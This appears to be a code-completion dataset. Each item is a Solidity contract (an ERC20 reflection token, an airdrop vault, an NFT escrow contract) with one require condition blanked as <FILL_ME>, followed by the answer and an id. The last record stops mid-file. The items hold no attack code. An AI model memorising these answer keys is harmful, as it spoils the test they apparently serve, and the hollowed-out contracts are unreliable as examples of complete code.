function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event TransferDetails(address indexed from, address indexed to, uint256 total_Amount, uint256 reflected_amount, uint256 total_TransferAmount, uint256 reflected_TransferAmount);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract ERC20ONETRUECRYPTOERC is Context, IERC20, Ownable {
mapping (address => uint256) public _balance_reflected;
mapping (address => uint256) public _balance_total;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public _isExcluded;
bool public tradingOpen = false;
uint256 private constant MAX = ~uint256(0);
address constant deadAddress = 0x000000000000000000000000000000000000dEaD;
uint256 public constant decimals = 18;
uint256 public constant totalSupply = 6 * 10**9 * 10**decimals;
uint256 private _supply_reflected = (MAX - (MAX % totalSupply));
string public constant name = "One True Crypto";
string public constant symbol = "OTC";
uint256 public _fee_reflection = 2;
uint256 private _fee_reflection_old = _fee_reflection;
uint256 public _contractReflectionStored = 0;
uint256 public _fee_marketing = 8;
uint256 private _fee_marketing_old = _fee_marketing;
address payable public _wallet_marketing;
uint256 public constant _fee_denominator = 100;
IUniswapV2Router public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = false;
uint256 public swapThreshold = totalSupply / 500;
mapping (address => bool) public isFeeExempt;
address[] public _excluded;
uint256 public buyMultiplier = 0;
uint256 public sellMultiplier = 0;
uint256 public transferMultiplier = 0;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
}
constructor () {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
require(<FILL_ME>)
_approve(_msgSender(), spender, (_allowances[_msgSender()][spender] - subtractedValue));
return true;
}
function changeWallets(address _newMarketing) external onlyOwner {
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
}
function excludeFromReward(address account) external onlyOwner {
}
function includeInReward(address account) external onlyOwner {
}
function goLive() external onlyOwner {
}
function setSwapSettings(bool _status, uint256 _threshold) external onlyOwner {
}
function manage_excludeFromFee(address[] calldata addresses, bool status) external onlyOwner {
}
function clearStuckBalance(uint256 amountPercentage) external onlyOwner {
}
function clearStuckToken(address tokenAddress, uint256 tokens) external onlyOwner returns (bool success) {
}
function _getRate() private view returns(uint256) {
}
function _getCurrentSupply() private view returns(uint256, uint256) {
}
function _getValues(uint256 tAmount, address recipient, address sender) private view returns (
uint256 rAmount, uint256 rTransferAmount, uint256 rReflection,
uint256 tTransferAmount, uint256 tMarketing, uint256 tReflection) {
}
function _takeMarketingFee(uint256 feeAmount, address receiverWallet) private {
}
function _setAllFees(uint256 marketingFee, uint256 reflectionFees) private {
}
function setMultipliers(uint256 _buy, uint256 _sell, uint256 _trans) external onlyOwner {
}
function set_All_Fees(uint256 Reflection_Fees, uint256 Marketing_Fee) external onlyOwner {
}
function removeAllFee() private {
}
function restoreAllFee() private {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function _transferStandard(address from, address to, uint256 tAmount, uint256 rAmount, uint256 tTransferAmount, uint256 rTransferAmount) private {
}
receive() external payable {}
}
| _allowances[_msgSender()][spender]>=subtractedValue,"ERC20: decreased allowance below zero" | 108,868 | _allowances[_msgSender()][spender]>=subtractedValue |
null | pragma solidity ^0.5.16;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.3._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.3._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
}
}
contract AirDropVault is AirDropVaultData {
using SafeMath for uint256;
using SafeERC20 for IERC20;
constructor( address _token)
public
{
}
function getbackToken(address _token,address _reciever) public onlyOwner {
}
function setWhiteList(address[] memory _accounts,uint256[] memory _tokenBals) public onlyOwner {
}
function claimAirdrop() public {
require(<FILL_ME>)
uint256 amount = userWhiteList[msg.sender];
userWhiteList[msg.sender] = 0;
//for statics
totalWhiteListClaimed = totalWhiteListClaimed.add(amount);
IERC20(token).safeTransfer(msg.sender,amount);
emit WhiteListClaim(msg.sender,amount);
}
function balanceOfAirDrop(address _account) public view returns(uint256){
}
}
| userWhiteList[msg.sender]>0 | 108,916 | userWhiteList[msg.sender]>0 |
"escrowing non existent token" | // SPDX-License-Identifier: MIT
/**
* @title BrokerDefi Partner tokens
* author : saad sarwar
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
}
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
}
}
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
}
function toHexString(uint256 value) internal pure returns (string memory) {
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
}
}
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
string private _name;
string private _symbol;
mapping(uint256 => address) private _owners;
mapping(address => uint256) private _balances;
mapping(uint256 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
}
function balanceOf(address owner) public view virtual override returns (uint256) {
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function _baseURI() internal view virtual returns (string memory) {
}
function approve(address to, uint256 tokenId) public virtual override {
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
}
function setApprovalForAll(address operator, bool approved) public virtual override {
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
}
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
}
function _safeMint(address to, uint256 tokenId) internal virtual {
}
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
}
function _mint(address to, uint256 tokenId) internal virtual {
}
function _burn(uint256 tokenId) internal virtual {
}
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
}
function _approve(address to, uint256 tokenId) internal virtual {
}
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
}
modifier nonReentrant() {
}
}
interface IBrokerDefiPriceConsumer {
function getPartnerPriceInEth() external view returns(uint);
}
contract BrokerDefiPartner is ERC721, Ownable, ReentrancyGuard {
uint public TOKEN_ID = 0; // starts from one
address public BROKER_DEFI_PRICE_CONSUMER = 0xd16e37A0D7EF673feFD6b6359E4108b31B710856;
uint public MAX_PER_TRX = 10;
uint public ALLOCATED_FOR_TEAM = 250;
uint public TEAM_COUNT;
bool public ESCROW_ALLOWED = true;
uint256 public MAX_SUPPLY = 2500; // max supply of nfts
bool public saleIsActive = true; // to control public sale
address payable public treasury = payable(0xA86B7feF6cD21ED65eD3D2AE55118cd436C58C66);
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
// mapping for tokenId to current escrow period if token is in escrow
mapping(uint256 => uint256) public escrowedAt;
// mapping for tokenId to total escrow period, doesn't include the escrow period
mapping(uint256 => uint256) public escrowPeriod;
// mapping for tokenIds to partner codes
mapping(uint256 => uint256) public partnerCodes;
// mapping for partner codes to partner code usage count
mapping(uint256 => uint256) public partnerCodesCount;
// mapping for partner codes to token ids
mapping(uint256 => uint256) public codeOwners;
// additional mapping for partner codes verification for easy one step code check
mapping(uint256 => bool) public partnerCodesVerification;
uint public PARTNER_COMMISSION = 20;
uint public PARTNER_DISCOUNT = 10;
string public baseTokenURI = "https://brokerdefi.io/api/v1/metadata-partner/";
constructor() ERC721("BrokerDeFi Partner", "BDPT") {}
function setPriceConsumer(address priceConsumer) public onlyOwner() {
}
function setPartnerCommission(uint commission) public onlyOwner() {
}
function setPartnerDiscount(uint discount) public onlyOwner() {
}
function allowEscrow(bool allow) public onlyOwner() {
}
function changeTreasuryAddress(address payable _newTreasuryAddress) public onlyOwner() {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner() {
}
// function to set a particular token uri manually if something incorrect in one of the metadata files
function setTokenURI(uint tokenID, string memory uri) public onlyOwner() {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function flipSaleState() public onlyOwner {
}
function setMaxPerTrx(uint maxPerTrx) public onlyOwner {
}
// code is actually just a six digit number and it will be public so people can distribute their code to others,
function setCode(uint tokenId) private {
}
function getTotalEscrowPeriod(uint tokenId) public view returns(uint) {
}
function escrow(uint tokenId) public {
require(ESCROW_ALLOWED, "escrow not allowed");
require(<FILL_ME>)
require(ERC721.ownerOf(tokenId) == msg.sender, "Not your token");
require(escrowedAt[tokenId] == 0, "Already in escrow");
escrowedAt[tokenId] = block.timestamp;
}
function deEscrow(uint tokenId) public {
}
function getTokenPrice() public view returns (uint price) {
}
function publicMint(address to, uint amount, uint code) public payable nonReentrant {
}
// mass minting function, one for each address, for team
function massMint(address[] memory addresses) public onlyOwner() {
}
/**
@dev Block transfers while escrowing.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
}
function safeTransferWhileEscrow(
address from,
address to,
uint256 tokenId
) public {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
}
// additional burn function
function burn(uint256 tokenId) public {
}
// token ids function for view only, convenience function for frontend to fulfil the gap of erc721 enumerable
function ownerTokens() public view returns(uint[] memory) {
}
}
| ERC721._exists(tokenId),"escrowing non existent token" | 109,122 | ERC721._exists(tokenId) |
"Not your token" | // SPDX-License-Identifier: MIT
/**
* @title BrokerDefi Partner tokens
* author : saad sarwar
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
}
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
}
}
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
}
function toHexString(uint256 value) internal pure returns (string memory) {
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
}
}
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
string private _name;
string private _symbol;
mapping(uint256 => address) private _owners;
mapping(address => uint256) private _balances;
mapping(uint256 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
}
function balanceOf(address owner) public view virtual override returns (uint256) {
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function _baseURI() internal view virtual returns (string memory) {
}
function approve(address to, uint256 tokenId) public virtual override {
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
}
function setApprovalForAll(address operator, bool approved) public virtual override {
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
}
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
}
function _safeMint(address to, uint256 tokenId) internal virtual {
}
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
}
function _mint(address to, uint256 tokenId) internal virtual {
}
function _burn(uint256 tokenId) internal virtual {
}
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
}
function _approve(address to, uint256 tokenId) internal virtual {
}
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
}
modifier nonReentrant() {
}
}
interface IBrokerDefiPriceConsumer {
function getPartnerPriceInEth() external view returns(uint);
}
contract BrokerDefiPartner is ERC721, Ownable, ReentrancyGuard {
uint public TOKEN_ID = 0; // starts from one
address public BROKER_DEFI_PRICE_CONSUMER = 0xd16e37A0D7EF673feFD6b6359E4108b31B710856;
uint public MAX_PER_TRX = 10;
uint public ALLOCATED_FOR_TEAM = 250;
uint public TEAM_COUNT;
bool public ESCROW_ALLOWED = true;
uint256 public MAX_SUPPLY = 2500; // max supply of nfts
bool public saleIsActive = true; // to control public sale
address payable public treasury = payable(0xA86B7feF6cD21ED65eD3D2AE55118cd436C58C66);
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
// mapping for tokenId to current escrow period if token is in escrow
mapping(uint256 => uint256) public escrowedAt;
// mapping for tokenId to total escrow period, doesn't include the escrow period
mapping(uint256 => uint256) public escrowPeriod;
// mapping for tokenIds to partner codes
mapping(uint256 => uint256) public partnerCodes;
// mapping for partner codes to partner code usage count
mapping(uint256 => uint256) public partnerCodesCount;
// mapping for partner codes to token ids
mapping(uint256 => uint256) public codeOwners;
// additional mapping for partner codes verification for easy one step code check
mapping(uint256 => bool) public partnerCodesVerification;
uint public PARTNER_COMMISSION = 20;
uint public PARTNER_DISCOUNT = 10;
string public baseTokenURI = "https://brokerdefi.io/api/v1/metadata-partner/";
constructor() ERC721("BrokerDeFi Partner", "BDPT") {}
function setPriceConsumer(address priceConsumer) public onlyOwner() {
}
function setPartnerCommission(uint commission) public onlyOwner() {
}
function setPartnerDiscount(uint discount) public onlyOwner() {
}
function allowEscrow(bool allow) public onlyOwner() {
}
function changeTreasuryAddress(address payable _newTreasuryAddress) public onlyOwner() {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner() {
}
// function to set a particular token uri manually if something incorrect in one of the metadata files
function setTokenURI(uint tokenID, string memory uri) public onlyOwner() {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function flipSaleState() public onlyOwner {
}
function setMaxPerTrx(uint maxPerTrx) public onlyOwner {
}
// code is actually just a six digit number and it will be public so people can distribute their code to others,
function setCode(uint tokenId) private {
}
function getTotalEscrowPeriod(uint tokenId) public view returns(uint) {
}
function escrow(uint tokenId) public {
require(ESCROW_ALLOWED, "escrow not allowed");
require(ERC721._exists(tokenId), "escrowing non existent token");
require(<FILL_ME>)
require(escrowedAt[tokenId] == 0, "Already in escrow");
escrowedAt[tokenId] = block.timestamp;
}
function deEscrow(uint tokenId) public {
}
function getTokenPrice() public view returns (uint price) {
}
function publicMint(address to, uint amount, uint code) public payable nonReentrant {
}
// mass minting function, one for each address, for team
function massMint(address[] memory addresses) public onlyOwner() {
}
/**
@dev Block transfers while escrowing.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
}
function safeTransferWhileEscrow(
address from,
address to,
uint256 tokenId
) public {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
}
// additional burn function
function burn(uint256 tokenId) public {
}
// token ids function for view only, convenience function for frontend to fulfil the gap of erc721 enumerable
function ownerTokens() public view returns(uint[] memory) {
}
}
| ERC721.ownerOf(tokenId)==msg.sender,"Not your token" | 109,122 | ERC721.ownerOf(tokenId)==msg.sender |
"Already in escrow" | // SPDX-License-Identifier: MIT
/**
* @title BrokerDefi Partner tokens
* author : saad sarwar
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
}
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
interface IERC721Metadata is IERC721 {
